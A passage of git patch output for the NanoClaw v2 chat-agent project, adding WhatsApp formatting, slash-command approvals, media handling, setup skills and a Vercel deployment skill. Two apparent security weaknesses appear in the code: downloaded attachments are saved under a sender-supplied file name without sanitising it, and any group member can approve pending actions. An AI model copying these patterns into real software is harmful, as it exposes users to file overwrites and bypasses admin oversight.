[]).length; + const underCount = (text.match(/_/g) ?? []).length; + if (starCount % 2 !== 0 || underCount % 2 !== 0) { + text = text.replace(/[*_]/g, ''); + } + + const openBrackets = (text.match(/\[/g) ?? []).length; + const closeBrackets = (text.match(/\]/g) ?? []).length; + if (openBrackets !== closeBrackets) { + text = text.replace(/[[\]]/g, ''); + } + + return text.replace( + new RegExp(`${PLACEHOLDER_PREFIX}(\\d+)${PLACEHOLDER_SUFFIX}`, 'g'), + (_, i) => codeSegments[Number(i)], + ); +} diff --git a/src/channels/telegram.ts b/src/channels/telegram.ts index 6580770..939ac37 100644 --- a/src/channels/telegram.ts +++ b/src/channels/telegram.ts @@ -9,6 +9,7 @@ import { readEnvFile } from '../env.js'; import { log } from '../log.js'; import { createMessagingGroup, getMessagingGroupByPlatform, updateMessagingGroup } from '../db/messaging-groups.js'; import { createChatSdkBridge, type ReplyContext } from './chat-sdk-bridge.js'; +import { sanitizeTelegramLegacyMarkdown } from './telegram-markdown-sanitize.js'; import { registerChannelAdapter } from './channel-registry.js'; import type { ChannelAdapter, ChannelSetup, InboundMessage } from './adapter.js'; import { tryConsume } from './telegram-pairing.js'; @@ -155,6 +156,7 @@ registerChannelAdapter('telegram', { concurrency: 'concurrent', extractReplyContext, supportsThreads: false, + transformOutboundText: sanitizeTelegramLegacyMarkdown, }); const botUsernamePromise = fetchBotUsername(token); From c02ac0625808f61aac21d6213cbdd7ec0d4f2ac4 Mon Sep 17 00:00:00 2001 From: Gabi Simons Date: Tue, 14 Apr 2026 11:00:12 +0000 Subject: [PATCH 139/485] feat(v2): add formatting, approvals, and echo filter to WhatsApp adapter MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - Markdown→WhatsApp formatting: **bold**→*bold*, *italic*→_italic_, headings→bold, links→plaintext, code blocks preserved - ask_question support: renders as text with /approve, /reject slash commands; matches replies and routes through onAction pipeline - credential_request: text fallback (WhatsApp has no modal support) - Bot echo filter: skip fromMe messages to prevent loops - Formatting applied to all outbound text messages Co-Authored-By: Claude Opus 4.6 (1M context) --- src/channels/whatsapp.ts | 146 ++++++++++++++++++++++++++++++++++----- 1 file changed, 130 insertions(+), 16 deletions(-) diff --git a/src/channels/whatsapp.ts b/src/channels/whatsapp.ts index bcf9360..90cd50f 100644 --- a/src/channels/whatsapp.ts +++ b/src/channels/whatsapp.ts @@ -47,14 +47,10 @@ import type { import { createRequire } from 'module'; const _require = createRequire(import.meta.url); try { - const _generics = _require( - '@whiskeysockets/baileys/lib/Utils/generics', - ) as Record; + const _generics = _require('@whiskeysockets/baileys/lib/Utils/generics') as Record; _generics.getPlatformId = (browser: string): string => { const platformType = - proto.DeviceProps.PlatformType[ - browser.toUpperCase() as keyof typeof proto.DeviceProps.PlatformType - ]; + proto.DeviceProps.PlatformType[browser.toUpperCase() as keyof typeof proto.DeviceProps.PlatformType]; return platformType ? platformType.toString() : '1'; }; } catch { @@ -70,6 +66,65 @@ const GROUP_SYNC_INTERVAL_MS = 24 * 60 * 60 * 1000; // 24h const GROUP_METADATA_CACHE_TTL_MS = 60_000; // 1 min for outbound sends const SENT_MESSAGE_CACHE_MAX = 256; const RECONNECT_DELAY_MS = 5000; +const PENDING_QUESTIONS_MAX = 64; + +/** Normalize an option name to a slash command: "Approve" → "/approve" */ +function optionToCommand(option: string): string { + return '/' + option.toLowerCase().replace(/\s+/g, '-'); +} + +// --- Markdown → WhatsApp formatting --- + +interface TextSegment { + content: string; + isProtected: boolean; +} + +/** Split text into code-block-protected and unprotected regions. */ +function splitProtectedRegions(text: string): TextSegment[] { + const segments: TextSegment[] = []; + const codeBlockRegex = /```[\s\S]*?```|`[^`\n]+`/g; + let lastIndex = 0; + let match: RegExpExecArray | null; + + while ((match = codeBlockRegex.exec(text)) !== null) { + if (match.index > lastIndex) { + segments.push({ content: text.slice(lastIndex, match.index), isProtected: false }); + } + segments.push({ content: match[0], isProtected: true }); + lastIndex = match.index + match[0].length; + } + + if (lastIndex < text.length) { + segments.push({ content: text.slice(lastIndex), isProtected: false }); + } + + return segments; +} + +/** Apply WhatsApp-native formatting to an unprotected text segment. */ +function transformForWhatsApp(text: string): string { + // Order matters: italic before bold to avoid **bold** → *bold* → _bold_ + // 1. Italic: *text* (not **) → _text_ + text = text.replace(/(? (isProtected ? content : transformForWhatsApp(content))) + .join(''); +} registerChannelAdapter('whatsapp', { factory: () => { @@ -103,6 +158,13 @@ registerChannelAdapter('whatsapp', { // Group metadata cache with TTL const groupMetadataCache = new Map(); + // Pending questions: chatJid → { questionId, options } + // User replies with /approve, /reject, etc. to answer + const pendingQuestions = new Map(); + // Group sync tracking let lastGroupSync = 0; let groupSyncTimerStarted = false; @@ -296,8 +358,7 @@ registerChannelAdapter('whatsapp', { if (connection === 'close') { connected = false; - const reason = (lastDisconnect?.error as { output?: { statusCode?: number } })?.output - ?.statusCode; + const reason = (lastDisconnect?.error as { output?: { statusCode?: number } })?.output?.statusCode; const shouldReconnect = reason !== DisconnectReason.loggedOut; log.info('WhatsApp connection closed', { reason, shouldReconnect }); @@ -327,7 +388,9 @@ registerChannelAdapter('whatsapp', { // Clean up pairing code file after successful connection try { if (fs.existsSync(pairingCodeFile)) fs.unlinkSync(pairingCodeFile); - } catch { /* ignore */ } + } catch { + /* ignore */ + } // Announce availability for presence updates sock.sendPresenceUpdate('available').catch((err) => { @@ -421,9 +484,29 @@ registerChannelAdapter('whatsapp', { const sender = msg.key.participant || msg.key.remoteJid || ''; const senderName = msg.pushName || sender.split('@')[0]; const fromMe = msg.key.fromMe || false; - const isBotMessage = ASSISTANT_HAS_OWN_NUMBER - ? fromMe - : content.startsWith(`${ASSISTANT_NAME}:`); + // Filter bot's own messages to prevent echo loops. + // fromMe is always true for messages sent from this linked device, + // regardless of ASSISTANT_HAS_OWN_NUMBER mode. + if (fromMe) continue; + + const isBotMessage = ASSISTANT_HAS_OWN_NUMBER ? false : content.startsWith(`${ASSISTANT_NAME}:`); + + // Check if this reply answers a pending question via slash command + const pending = pendingQuestions.get(chatJid); + if (pending && content.startsWith('/')) { + const cmd = content.trim().toLowerCase(); + const matched = pending.options.find((o) => optionToCommand(o) === cmd); + if (matched) { + const voterName = msg.pushName || sender.split('@')[0]; + setupConfig.onAction(pending.questionId, matched, sender); + pendingQuestions.delete(chatJid); + // Past tense for common actions: Approve→Approved, Reject→Rejected + const label = matched.endsWith('e') ? `${matched}d` : `${matched}ed`; + await sendRawMessage(chatJid, `*${label}* by ${voterName}`); + log.info('Question answered', { questionId: pending.questionId, matched, voterName }); + continue; // Don't forward this reply to the agent + } + } const inbound: InboundMessage = { id: msg.key.id || `wa-${Date.now()}`, @@ -473,15 +556,46 @@ registerChannelAdapter('whatsapp', { log.info('WhatsApp adapter initialized'); }, - async deliver(platformId: string, _threadId: string | null, message: OutboundMessage): Promise { + async deliver( + platformId: string, + _threadId: string | null, + message: OutboundMessage, + ): Promise { const content = message.content as Record; - // Typing indicator (composing → paused is handled by the host) + // Ask question → text with slash command replies + if (content.type === 'ask_question' && content.questionId && content.options) { + const questionId = content.questionId as string; + const question = content.question as string; + const options = content.options as string[]; + + const optionLines = options.map((o) => ` ${optionToCommand(o)}`).join('\n'); + const text = `${question}\n\nReply with:\n${optionLines}`; + const msgId = await sendRawMessage(platformId, text); + if (msgId) { + pendingQuestions.set(platformId, { questionId, options }); + if (pendingQuestions.size > PENDING_QUESTIONS_MAX) { + const oldest = pendingQuestions.keys().next().value!; + pendingQuestions.delete(oldest); + } + } + return msgId; + } + + // Credential request → text fallback (WhatsApp doesn't support modals) + if (content.type === 'credential_request' && content.credentialId) { + const question = (content.question as string) || 'A credential has been requested.'; + const text = `Credential request: ${question}\n\nPlease provide this credential through a secure channel (e.g. Discord or Slack).`; + const prefixed = ASSISTANT_HAS_OWN_NUMBER ? text : `${ASSISTANT_NAME}: ${text}`; + return sendRawMessage(platformId, prefixed); + } + + // Normal message const text = (content.markdown as string) || (content.text as string); if (!text) return; - // Prefix bot messages on shared number - const prefixed = ASSISTANT_HAS_OWN_NUMBER ? text : `${ASSISTANT_NAME}: ${text}`; + const formatted = formatWhatsApp(text); + const prefixed = ASSISTANT_HAS_OWN_NUMBER ? formatted : `${ASSISTANT_NAME}: ${formatted}`; return sendRawMessage(platformId, prefixed); }, From c36541ba6ca7bb1e5afe059c9304662a07a2a6bf Mon Sep 17 00:00:00 2001 From: Gabi Simons Date: Tue, 14 Apr 2026 11:29:42 +0000 Subject: [PATCH 140/485] feat(v2/whatsapp): add file attachments, reactions, and inbound media - Outbound files: images, videos, audio as native media messages; other types as documents. First file gets text as caption. - Reactions: send emoji reactions via Baileys react message type - Inbound media: download images, video, audio, documents from incoming messages and pass as attachments to the agent - Edit operations silently skipped (WhatsApp linked device limitation) Co-Authored-By: Claude Opus 4.6 (1M context) --- src/channels/whatsapp.ts | 123 ++++++++++++++++++++++++++++++++++----- 1 file changed, 108 insertions(+), 15 deletions(-) diff --git a/src/channels/whatsapp.ts b/src/channels/whatsapp.ts index 90cd50f..af43c72 100644 --- a/src/channels/whatsapp.ts +++ b/src/channels/whatsapp.ts @@ -20,12 +20,13 @@ import { Browsers, DisconnectReason, fetchLatestWaWebVersion, + downloadMediaMessage, makeCacheableSignalKeyStore, normalizeMessageContent, useMultiFileAuthState, proto, } from '@whiskeysockets/baileys'; -import type { GroupMetadata, WAMessageKey, WASocket } from '@whiskeysockets/baileys'; +import type { GroupMetadata, WAMessageKey, WAMessage, WASocket } from '@whiskeysockets/baileys'; import { ASSISTANT_HAS_OWN_NUMBER, ASSISTANT_NAME, DATA_DIR } from '../config.js'; import { readEnvFile } from '../env.js'; @@ -121,9 +122,27 @@ function transformForWhatsApp(text: string): string { /** Convert Claude's markdown to WhatsApp-native formatting. */ function formatWhatsApp(text: string): string { const segments = splitProtectedRegions(text); - return segments - .map(({ content, isProtected }) => (isProtected ? content : transformForWhatsApp(content))) - .join(''); + return segments.map(({ content, isProtected }) => (isProtected ? content : transformForWhatsApp(content))).join(''); +} + +/** Map file extension to Baileys media message type. */ +// eslint-disable-next-line @typescript-eslint/no-explicit-any +function buildMediaMessage(data: Buffer, filename: string, ext: string, caption?: string): any { + const imageExts = ['.jpg', '.jpeg', '.png', '.gif', '.webp']; + const videoExts = ['.mp4', '.mov', '.avi', '.mkv']; + const audioExts = ['.mp3', '.ogg', '.m4a', '.wav', '.aac', '.opus']; + + if (imageExts.includes(ext)) { + return { image: data, caption, mimetype: `image/${ext.slice(1) === 'jpg' ? 'jpeg' : ext.slice(1)}` }; + } + if (videoExts.includes(ext)) { + return { video: data, caption, mimetype: `video/${ext.slice(1)}` }; + } + if (audioExts.includes(ext)) { + return { audio: data, mimetype: `audio/${ext.slice(1) === 'mp3' ? 'mpeg' : ext.slice(1)}` }; + } + // Default: send as document + return { document: data, fileName: filename, caption, mimetype: 'application/octet-stream' }; } registerChannelAdapter('whatsapp', { @@ -160,10 +179,13 @@ registerChannelAdapter('whatsapp', { // Pending questions: chatJid → { questionId, options } // User replies with /approve, /reject, etc. to answer - const pendingQuestions = new Map(); + const pendingQuestions = new Map< + string, + { + questionId: string; + options: string[]; + } + >(); // Group sync tracking let lastGroupSync = 0; @@ -274,6 +296,35 @@ registerChannelAdapter('whatsapp', { } } + /** Download media from an inbound message, save to /workspace/attachments/. */ + // eslint-disable-next-line @typescript-eslint/no-explicit-any + async function downloadInboundMedia(msg: WAMessage, normalized: any): Promise> { + const mediaTypes: Array<{ key: string; type: string; ext: string }> = [ + { key: 'imageMessage', type: 'image', ext: '.jpg' }, + { key: 'videoMessage', type: 'video', ext: '.mp4' }, + { key: 'audioMessage', type: 'audio', ext: '.ogg' }, + { key: 'documentMessage', type: 'document', ext: '' }, + ]; + const results: Array<{ type: string; name: string; localPath: string }> = []; + for (const { key, type, ext } of mediaTypes) { + if (!normalized[key]) continue; + try { + const buffer = await downloadMediaMessage(msg, 'buffer', {}); + const docFilename = normalized[key].fileName; + const filename = docFilename || `${type}-${Date.now()}${ext}`; + const attachDir = path.join(DATA_DIR, 'attachments'); + fs.mkdirSync(attachDir, { recursive: true }); + const filePath = path.join(attachDir, filename); + fs.writeFileSync(filePath, buffer); + results.push({ type, name: filename, localPath: `attachments/${filename}` }); + log.info('Media downloaded', { type, filename }); + } catch (err) { + log.warn('Failed to download media', { type, err }); + } + } + return results; + } + async function sendRawMessage(jid: string, text: string): Promise { if (!connected) { outgoingQueue.push({ jid, text }); @@ -478,8 +529,11 @@ registerChannelAdapter('whatsapp', { content = content.replace(`@${botLidUser}`, `@${ASSISTANT_NAME}`); } - // Skip empty protocol messages - if (!content) continue; + // Download media attachments (images, video, audio, documents) + const attachments = await downloadInboundMedia(msg, normalized); + + // Skip empty protocol messages (no text and no attachments) + if (!content && attachments.length === 0) continue; const sender = msg.key.participant || msg.key.remoteJid || ''; const senderName = msg.pushName || sender.split('@')[0]; @@ -515,6 +569,7 @@ registerChannelAdapter('whatsapp', { text: content, sender, senderName, + ...(attachments.length > 0 && { attachments }), fromMe, isBotMessage, isGroup, @@ -582,6 +637,21 @@ registerChannelAdapter('whatsapp', { return msgId; } + // Reaction → emoji on a message + if (content.operation === 'reaction' && content.messageId && content.emoji) { + try { + await sock.sendMessage(platformId, { + react: { + text: content.emoji as string, + key: { remoteJid: platformId, id: content.messageId as string, fromMe: false }, + }, + }); + } catch (err) { + log.debug('Failed to send reaction', { platformId, err }); + } + return; + } + // Credential request → text fallback (WhatsApp doesn't support modals) if (content.type === 'credential_request' && content.credentialId) { const question = (content.question as string) || 'A credential has been requested.'; @@ -590,14 +660,37 @@ registerChannelAdapter('whatsapp', { return sendRawMessage(platformId, prefixed); } - // Normal message + // Normal message (with optional file attachments) const text = (content.markdown as string) || (content.text as string); - if (!text) return; + const hasFiles = message.files && message.files.length > 0; - const formatted = formatWhatsApp(text); - const prefixed = ASSISTANT_HAS_OWN_NUMBER ? formatted : `${ASSISTANT_NAME}: ${formatted}`; + if (!text && !hasFiles) return; - return sendRawMessage(platformId, prefixed); + // Send file attachments (first file gets the caption, rest are captionless) + if (hasFiles) { + let captionUsed = false; + for (const file of message.files!) { + try { + const ext = path.extname(file.filename).toLowerCase(); + const caption = !captionUsed ? text : undefined; + const mediaMsg = buildMediaMessage(file.data, file.filename, ext, caption); + const sent = await sock.sendMessage(platformId, mediaMsg); + if (sent?.key?.id && sent.message) { + sentMessageCache.set(sent.key.id, sent.message); + } + if (caption) captionUsed = true; + } catch (err) { + log.error('Failed to send file', { platformId, filename: file.filename, err }); + } + } + if (captionUsed) return; // Text was sent as caption + } + + if (text) { + const formatted = formatWhatsApp(text); + const prefixed = ASSISTANT_HAS_OWN_NUMBER ? formatted : `${ASSISTANT_NAME}: ${formatted}`; + return sendRawMessage(platformId, prefixed); + } }, async setTyping(platformId: string) { From 192a5a75696e8871ebb5bfe32abb51916d3c4e6e Mon Sep 17 00:00:00 2001 From: Gabi Simons Date: Tue, 14 Apr 2026 12:02:14 +0000 Subject: [PATCH 141/485] docs(v2): add /add-whatsapp-v2 setup skill MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Separate from the v1 /add-whatsapp skill — v1 remains untouched. Follows the v2 skill pattern (flat sections, defers to /manage-channels for wiring). Covers Baileys auth, pairing code, QR code, and documents the native adapter's features and limitations. Co-Authored-By: Claude Opus 4.6 (1M context) --- .claude/skills/add-whatsapp-v2/SKILL.md | 188 ++++++++++++++++++++++++ 1 file changed, 188 insertions(+) create mode 100644 .claude/skills/add-whatsapp-v2/SKILL.md diff --git a/.claude/skills/add-whatsapp-v2/SKILL.md b/.claude/skills/add-whatsapp-v2/SKILL.md new file mode 100644 index 0000000..702f3ef --- /dev/null +++ b/.claude/skills/add-whatsapp-v2/SKILL.md @@ -0,0 +1,188 @@ +--- +name: add-whatsapp-v2 +description: Add WhatsApp channel to NanoClaw v2 using native Baileys adapter. Direct connection — no Chat SDK bridge. Uses QR code or pairing code for authentication. +--- + +# Add WhatsApp Channel + +Adds WhatsApp support to NanoClaw v2 using the native Baileys adapter (no Chat SDK bridge). + +## Pre-flight + +Check if `src/channels/whatsapp.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Credentials. + +## Install + +### Install the adapter packages + +```bash +npm install @whiskeysockets/baileys@^6.7.21 pino@^9.6.0 qrcode@^1.5.4 @types/qrcode@^1.5.6 +``` + +### Enable the channel + +If `src/channels/whatsapp.ts` is missing, fetch it from upstream: + +```bash +git remote -v | grep -q upstream || git remote add upstream https://github.com/qwibitai/nanoclaw.git +git fetch upstream v2 +git checkout upstream/v2 -- src/channels/whatsapp.ts +``` + +Uncomment or add the WhatsApp import in `src/channels/index.ts`: + +```typescript +// whatsapp (native, no Chat SDK) +import './whatsapp.js'; +``` + +### Build + +```bash +npm run build +``` + +## Credentials + +WhatsApp uses linked-device authentication — no API key, just a one-time pairing from your phone. + +### Detect environment + +```bash +[[ -z "$DISPLAY" && -z "$WAYLAND_DISPLAY" && "$OSTYPE" != darwin* ]] && echo "IS_HEADLESS=true" || echo "IS_HEADLESS=false" +``` + +### Ask the user + +AskUserQuestion: How do you want to authenticate WhatsApp? +- **Pairing code** (Recommended for headless/VM) — enter a numeric code on your phone, requires phone number +- **QR code in terminal** — displays QR code in the terminal + +If pairing code: + +AskUserQuestion: What is your phone number? (Digits only — country code + number, no + prefix, spaces, or dashes. Example: 14155551234 where 1 is the US country code and 4155551234 is the phone number.) + +### Configure auth method + +For **pairing code**, set the phone number in `.env`: + +```bash +grep -q WHATSAPP_PHONE_NUMBER .env 2>/dev/null || echo "WHATSAPP_PHONE_NUMBER=" >> .env +``` + +For **QR code**, ensure WHATSAPP_PHONE_NUMBER is NOT set (comment it out if present). + +### Authenticate + +The adapter authenticates on first startup. Restart the service: + +```bash +# Linux +systemctl --user restart nanoclaw + +# macOS +launchctl kickstart -k gui/$(id -u)/com.nanoclaw +``` + +**Pairing code flow** — poll for the code: + +```bash +for i in $(seq 1 30); do [ -f data/whatsapp-pairing-code.txt ] && cat data/whatsapp-pairing-code.txt && break; sleep 1; done +``` + +Tell the user: + +> **Enter this code now** — it expires in ~60 seconds. +> +> 1. Open WhatsApp > **Settings** > **Linked Devices** > **Link a Device** +> 2. Tap **Link with phone number instead** +> 3. Enter the code immediately + +**QR code flow** — watch logs: + +```bash +tail -f logs/nanoclaw.log | grep -A 30 "WhatsApp QR code" +``` + +Tell the user: + +> 1. Open WhatsApp > **Settings** > **Linked Devices** > **Link a Device** +> 2. Scan the QR code displayed in the logs + +### Verify authentication + +```bash +test -f data/whatsapp-auth/creds.json && echo "Authentication successful" || echo "Authentication failed" +grep "Connected to WhatsApp" logs/nanoclaw.log | tail -1 +``` + +### Shared vs dedicated number + +AskUserQuestion: Is this a shared phone number (personal WhatsApp) or a dedicated number? +- **Shared number** — your personal WhatsApp (bot prefixes messages with its name) +- **Dedicated number** — a separate phone/SIM for the assistant + +If dedicated, add to `.env`: + +```bash +ASSISTANT_HAS_OWN_NUMBER=true +``` + +## Next Steps + +If you're in the middle of `/setup`, return to the setup flow now. + +Otherwise, run `/manage-channels` to wire this channel to an agent group. + +## Channel Info + +- **type**: `whatsapp` +- **terminology**: WhatsApp calls them "groups" and "chats." A "chat" is a 1:1 DM; a "group" has multiple members. +- **how-to-find-id**: DMs use `@s.whatsapp.net` (e.g. `14155551234@s.whatsapp.net`). Groups use `@g.us`. To find your number: `node -e "const c=JSON.parse(require('fs').readFileSync('data/whatsapp-auth/creds.json','utf-8'));console.log(c.me?.id?.split(':')[0]+'@s.whatsapp.net')"`. Groups are auto-discovered — check `sqlite3 data/v2.db "SELECT platform_id, name FROM messaging_groups WHERE channel_type='whatsapp' AND is_group=1"`. +- **supports-threads**: no +- **typical-use**: Interactive chat — direct messages or small groups +- **default-isolation**: Same agent group if you're the only participant across multiple chats. Separate agent group if different people are in different groups. + +### Features + +- Markdown formatting — `**bold**`→`*bold*`, `*italic*`→`_italic_`, headings→bold, code blocks preserved +- Approval questions — `ask_user_question` renders with `/approve`, `/reject` slash commands +- File attachments — send and receive images, video, audio, documents +- Reactions — send emoji reactions on messages +- Typing indicators — composing presence updates +- Credential requests — text fallback (WhatsApp has no modal support) + +Not supported (WhatsApp linked device limitation): edit messages, delete messages. + +## Troubleshooting + +### Pairing code not working + +Codes expire in ~60 seconds. Delete auth and retry: + +```bash +rm -rf data/whatsapp-auth/ && systemctl --user restart nanoclaw +``` + +Ensure: digits only (no `+`), phone has internet, WhatsApp is updated. + +### "waiting for this message" on reactions + +Signal sessions corrupted from rapid restarts. Clear sessions: + +```bash +systemctl --user stop nanoclaw +rm data/whatsapp-auth/session-*.json +systemctl --user start nanoclaw +``` + +### Bot not responding + +1. Auth exists: `test -f data/whatsapp-auth/creds.json` +2. Connected: `grep "Connected to WhatsApp" logs/nanoclaw.log | tail -1` +3. Channel wired: `sqlite3 data/v2.db "SELECT mg.platform_id, mg.name FROM messaging_groups mg JOIN messaging_group_agents mga ON mg.id=mga.messaging_group_id WHERE mg.channel_type='whatsapp'"` +4. Service running: `systemctl --user status nanoclaw` + +### "conflict" disconnection + +Two instances connected with same credentials. Ensure only one NanoClaw process is running. From 1903fab5e8404e5d19ef63d42aadf45f1b059b33 Mon Sep 17 00:00:00 2001 From: Koshkoshinsk Date: Tue, 14 Apr 2026 12:53:46 +0000 Subject: [PATCH 142/485] feat(v2/approvals): bundle install_packages + rebuild into one approval Install approval now auto-rebuilds the image and kills the container, replacing the prior two-card flow where the agent had to call request_rebuild separately after install_packages was approved. Queues a processAfter=+5s synthetic prompt so the respawned container verifies the new packages and reports back to the user. Adds two v2-checklist gaps found along the way: - /remote-control and /remote-control-end are v1 host-level commands not ported to v2 - messaging_groups.admin_user_id is hardcoded null at registration Co-Authored-By: Claude Opus 4.6 (1M context) --- docs/v2-checklist.md | 2 ++ src/delivery.ts | 2 +- src/index.ts | 25 ++++++++++++++++++++++++- 3 files changed, 27 insertions(+), 2 deletions(-) diff --git a/docs/v2-checklist.md b/docs/v2-checklist.md index 561b810..a812afd 100644 --- a/docs/v2-checklist.md +++ b/docs/v2-checklist.md @@ -154,6 +154,8 @@ Status: [x] done, [~] partial, [ ] not started - [x] Admin user ID per group - [x] Admin-only command filtering in container - [ ] Admin model refactor — instance-level default admin (user + messaging app) for all approval routing, overridable per agent group; deliver approval cards to admin's DM when the platform supports it +- [ ] `/remote-control` and `/remote-control-end` are v1 host-level commands not ported to v2 — listed in `ADMIN_COMMANDS` (formatter.ts:13) but unhandled in poll-loop, so they fall through to the Claude SDK which replies "Unknown skill". Found when `/remote-control` failed in a Telegram DM after the admin check passed. +- [ ] `messaging_groups.admin_user_id` is hardcoded `null` at registration (`setup/register.ts:175`), so privileged commands like `/remote-control` always deny access until the column is manually backfilled in SQLite. Found when `/remote-control` failed in a freshly-registered Telegram DM. - [ ] Self-approval UX: when the user requesting a sensitive action IS the recorded admin/owner of the agent group, the agent still posts an Approve button back to that same person and narrates "waiting on admin approval" — confusing, redundant, and the "waiting" line stays visible even after the user immediately clicks approve. - [ ] Replace the `is_admin`/main vs. non-main distinction on agent groups with an explicit owner/admin model — every agent group has a recorded owner (the platform user who created or installed it) and an admin (who receives approvals and can change wiring); the two default to the same identity but can diverge (e.g. handoff). Drops the "main group = admin group" coupling. Downstream consequence: non-main group registration on Telegram must use the same pairing-code flow as main (`setup --step pair-telegram` with a `wire-to:` or `new-agent:` intent), since there's no longer a privileged "main" chat whose identity is trusted transitively — every group binds its own admin at registration time. - [x] Approval flow (sensitive action -> card to admin -> approve/reject -> execute) — `pending_approvals` table, `requestApproval()` helper, reuses interactive card infra diff --git a/src/delivery.ts b/src/delivery.ts index a8466b9..fdfc837 100644 --- a/src/delivery.ts +++ b/src/delivery.ts @@ -633,7 +633,7 @@ async function handleSystemAction( agentGroup.name, 'install_packages', { apt, npm, reason }, - `Agent "${agentGroup.name}" requests package installation:\n${packageList}${reason ? `\nReason: ${reason}` : ''}`, + `Agent "${agentGroup.name}" requests package install + container rebuild:\n${packageList}${reason ? `\nReason: ${reason}` : ''}`, ); break; } diff --git a/src/index.ts b/src/index.ts index c3a478d..77f4cb6 100644 --- a/src/index.ts +++ b/src/index.ts @@ -281,8 +281,31 @@ async function handleApprovalResponse( updateAgentGroup(session.agent_group_id, { container_config: JSON.stringify(containerConfig) }); const pkgs = [...(payload.apt || []), ...(payload.npm || [])].join(', '); - notify(`Packages approved (${pkgs}). Call request_rebuild to apply them.`); log.info('Package install approved', { approvalId: approval.approval_id, userId }); + try { + await buildAgentGroupImage(session.agent_group_id); + killContainer(session.id, 'rebuild applied'); + // Schedule a follow-up prompt a few seconds after kill so the host sweep + // respawns the container on the new image and the agent verifies + reports. + writeSessionMessage(session.agent_group_id, session.id, { + id: `appr-note-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`, + kind: 'chat', + timestamp: new Date().toISOString(), + platformId: session.agent_group_id, + channelType: 'agent', + threadId: null, + content: JSON.stringify({ + text: `Packages installed (${pkgs}) and container rebuilt. Verify the new packages are available (e.g. run them or check versions) and report the result to the user.`, + sender: 'system', + senderId: 'system', + }), + processAfter: new Date(Date.now() + 5000).toISOString().replace('T', ' ').replace(/\.\d+Z$/, ''), + }); + log.info('Container rebuild completed (bundled with install)', { approvalId: approval.approval_id }); + } catch (e) { + notify(`Packages added to config (${pkgs}) but rebuild failed: ${e instanceof Error ? e.message : String(e)}. Call request_rebuild to retry.`); + log.error('Bundled rebuild failed after install approval', { approvalId: approval.approval_id, err: e }); + } } else if (approval.action === 'request_rebuild') { try { await buildAgentGroupImage(session.agent_group_id); From 8d60af71d34d76eb9a3cc766af11b50baaeb4c5e Mon Sep 17 00:00:00 2001 From: Gabi Simons Date: Tue, 14 Apr 2026 15:22:09 +0000 Subject: [PATCH 143/485] feat(v2): add /add-vercel skill for agent Vercel deployments Setup skill that installs Vercel CLI in agent containers and configures OneCLI credential injection for api.vercel.com. Container skill bundled in .claude/skills/add-vercel/container-skills/ and copied to container/skills/ during setup. Also adds dashboard & web apps prompt to /setup flow (step 5b). Co-Authored-By: Claude Opus 4.6 (1M context) --- .claude/skills/add-vercel/SKILL.md | 150 ++++++++++++++++++ .../container-skills/vercel-cli/SKILL.md | 106 +++++++++++++ .claude/skills/setup/SKILL.md | 9 ++ 3 files changed, 265 insertions(+) create mode 100644 .claude/skills/add-vercel/SKILL.md create mode 100644 .claude/skills/add-vercel/container-skills/vercel-cli/SKILL.md diff --git a/.claude/skills/add-vercel/SKILL.md b/.claude/skills/add-vercel/SKILL.md new file mode 100644 index 0000000..7342acc --- /dev/null +++ b/.claude/skills/add-vercel/SKILL.md @@ -0,0 +1,150 @@ +--- +name: add-vercel +description: Add Vercel deployment capability to NanoClaw agents. Installs the Vercel CLI in agent containers and sets up OneCLI credential injection for api.vercel.com. Use when the user wants agents to deploy web applications to Vercel. +--- + +# Add Vercel + +This skill gives NanoClaw agents the ability to deploy web applications to Vercel. It installs the Vercel CLI in agent containers and configures OneCLI to inject Vercel credentials automatically. + +**Principle:** Do the work — don't tell the user to do it. Only ask for their input when it genuinely requires manual action (pasting a token). + +## Phase 1: Pre-flight + +### Check if already applied + +Check if the container skill exists: + +```bash +test -d container/skills/vercel-cli && echo "INSTALLED" || echo "NOT_INSTALLED" +``` + +If `INSTALLED`, skip to Phase 3 (Configure Credentials). + +### Check prerequisites + +Verify OneCLI is working (required for credential injection): + +```bash +onecli version 2>/dev/null && echo "ONECLI_OK" || echo "ONECLI_MISSING" +``` + +If `ONECLI_MISSING`, tell the user to run `/init-onecli` first, then retry `/add-vercel`. Stop here. + +## Phase 2: Install Container Skill + +Copy the bundled container skill into the container skills directory: + +```bash +cp -r .claude/skills/add-vercel/container-skills/* container/skills/ +``` + +Verify: + +```bash +head -5 container/skills/vercel-cli/SKILL.md +``` + +## Phase 3: Configure Credentials + +### Check if Vercel credential already exists + +```bash +onecli secrets list 2>/dev/null | grep -i vercel +``` + +If a Vercel credential already exists, skip to Phase 4. + +### Set up Vercel API credential + +The agent needs a Vercel personal access token. Tell the user: + +> I need your Vercel personal access token. Go to https://vercel.com/account/tokens and create one with these settings: +> +> - **Token name:** `nanoclaw` (or any name you'll recognize) +> - **Scope:** "Full Account" — the agent needs to create projects, deploy, and manage domains +> - **Expiration:** "No expiration" recommended (avoids credential rotation), or pick a date if your security policy requires it +> +> After creating the token, copy it — you'll only see it once. + +Once the user provides the token, add it to OneCLI: + +```bash +onecli secrets create \ + --name "Vercel API Token" \ + --type generic \ + --value "" \ + --host-pattern "api.vercel.com" \ + --header-name "Authorization" \ + --value-format "Bearer {value}" +``` + +Verify: + +```bash +onecli secrets list | grep -i vercel +``` + +## Phase 4: Install Vercel CLI in Container + +The Vercel CLI needs to be installed in the agent container image. The agent does this via the self-modification flow: + +1. Agent calls `install_packages(npm: ["vercel"], reason: "Vercel CLI for deploying web applications")` +2. Admin approves the installation +3. Agent calls `request_rebuild(reason: "Apply Vercel CLI installation")` +4. Admin approves the rebuild + +If you're setting this up from the host, tell the user to message their agent and ask it to install the Vercel CLI. The agent will use the `vercel-cli` container skill to guide itself. + +**Alternative for base image:** If you want Vercel CLI available to ALL agent groups without per-group rebuilds, add it to `container/Dockerfile`: + +```dockerfile +RUN npm install -g vercel +``` + +Then rebuild the base image: + +```bash +./container/build.sh +``` + +## Phase 5: Verify + +### Test authentication + +Have the agent run: + +```bash +vercel whoami --token placeholder +``` + +This should print the Vercel account name. If it fails: +- Check OneCLI is running: `onecli version` +- Check the secret exists: `onecli secrets list | grep -i vercel` +- Check the credential hostPattern matches `api.vercel.com` + +### Test deployment + +Have the agent create and deploy a minimal test project: + +```bash +mkdir -p /tmp/vercel-test && echo '
